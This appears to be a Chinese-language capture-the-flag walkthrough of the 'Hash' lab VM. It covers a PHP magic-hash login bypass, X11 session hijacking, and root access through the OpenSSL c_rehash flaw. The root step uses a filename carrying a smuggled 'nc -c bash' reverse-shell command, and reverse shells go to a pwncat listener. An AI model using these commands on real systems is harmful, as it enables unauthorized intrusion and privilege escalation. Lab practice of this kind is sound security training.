Hash

备注

[Linux VM] [Tested on VirtualBox] created by || sml

⏲️ Release Date // 2021-02-05

✔️ MD5 // 7707cf5723630fe8b72cd9624594e902

☠ Root // 36

💀 User // 37

📝Notes // Hack and Fun!

靶机启动

靶机 IP

192.168.56.110

nmap 信息搜集

Nmap scan report for 192.168.56.110
Host is up (0.00055s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 1e:fb:86:3d:cf:26:a2:a0:ae:b0:00:61:0b:41:cb:ab (RSA)
|   256 80:8e:46:7b:1d:6e:13:74:22:89:ad:91:b4:44:64:ec (ECDSA)
|_  256 71:e5:e1:4f:34:16:de:ec:b5:c4:fe:f5:0a:a2:ee:fc (ED25519)
80/tcp   open  http          nginx 1.14.2
|_http-title: LOGIN
|_http-server-header: nginx/1.14.2
3389/tcp open  ms-wbt-server xrdp

web 服务

查看原始数据包

┌─[randark@parrot]─[~]
└──╼ $http get http://192.168.56.110/
......
<!doctype html>
<html lang="en">
<title>LOGIN</title>

    <form class="form-signin" action="check.php" method="post">

      <input type="text" autocomplete="off" id="user" name="user" name="user" placeholder="Username" required autofocus>
      <input type="password" name="password" id="password" placeholder="Password" required>
      <input type="submit" value="Login">
    </form>
<!-- Marco, remember to delete the .bak file-->
  </body>
</html>

尝试爆破

┌─[randark@parrot]─[~]
└──╼ $ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.56.110/FUZZ.bak -t 50
......
[Status: 200, Size: 273, Words: 26, Lines: 15, Duration: 16ms]
    * FUZZ: check

查看数据

check.bak
<?php
    // Login part.
    $pass = $_POST['password'];
    //marco please dont use md5, is not secure.
    //$passwordhashed = hash('md5', $pass);
    $passwordhashed = hash('sha256',$pass);
    if ($passwordhashed == '0e0001337') {
        //Your code here
    }
    else{
        //Another code here
    }
    //To finish
?>

由于采用了 == 弱比较的方式，所以可以直接采用 0e 绕过

相关数据可以参考 hashes/sha256.md at master · spaze/hashes

成功登陆之后，即可得到

User - marco

┌─[randark@parrot]─[/tmp]
└──╼ $nano id_rsa
┌─[randark@parrot]─[/tmp]
└──╼ $chmod 600 id_rsa
┌─[randark@parrot]─[/tmp]
└──╼ $ssh -i id_rsa marco@192.168.56.110
Linux hash 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 16 02:45:22 2024 from 192.168.56.102
marco@hash:~$ whoami
marco

flag - user

marco@hash:~$ cat user.txt
hashmanready

环境探测

ls -lh /home/maria/

total 4.0K
-rwxr-xr-x 1 maria maria 25 Feb  5  2021 myterm.sh

查看文件内容

export DISPLAY=:10
xterm

那简单，SSH 可以转发 X11 会话连接，将 SSH 的会话通过 -XY 启动 X11 转发，并且在本地启动 X11 会话客户端（例如 X410），然后运行这个脚本

marco@hash:/home/maria$ ./myterm.sh

稍等片刻，应该会有两个 X11 会话窗口出现

xterm

其中就有 maria 用户的会话

User - maria

将 maria 的 xterm 会话反弹到监听机

┌─[randark@parrot]─[~]
└──╼ $pwncat-cs -lp 8888
[16:19:54] Welcome to pwncat 🐈!
[16:20:08] received connection from 192.168.56.110:43718
[16:20:09] 0.0.0.0:8888: normalizing shell path
           192.168.56.110:43718: registered new host w/ db
(local) pwncat$ back
(remote) maria@hash:/home/maria$ whoami
maria

然后探测环境

sudo -l
Matching Defaults entries for maria on hash:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User maria may run the following commands on hash:
    (ALL : ALL) NOPASSWD: /usr/bin/c_rehash

尝试提权

参考：alcaparra/CVE-2022-1292: CVE-2022-1292 OpenSSL c_rehash Vulnerability - POC

(remote) maria@hash:/home/maria$ nano

然后在 nano 编辑器中输入

-----BEGIN CERTIFICATE-----

然后 Ctrl+x，保存文件，使用以下作为文件名

hey.crt`nc -c bash 192.168.56.102 6666

然后执行

(remote) maria@hash:/home/maria$ sudo /usr/bin/c_rehash .

User - root

┌─[✗]─[randark@parrot]─[~]
└──╼ $pwncat-cs -lp 6666
[18:56:24] Welcome to pwncat 🐈!
[19:04:00] received connection from 192.168.56.110:46698
[19:04:01] 192.168.56.110:46698: registered new host w/ db
(local) pwncat$ back
(remote) root@hash:/home/maria# whoami
root

flag - root

(remote) root@hash:/root# cat root.txt
hashhater

Hash

靶机启动​

nmap 信息搜集​

web 服务​

User - marco​

flag - user​

环境探测​

User - maria​

尝试提权​

User - root​

flag - root​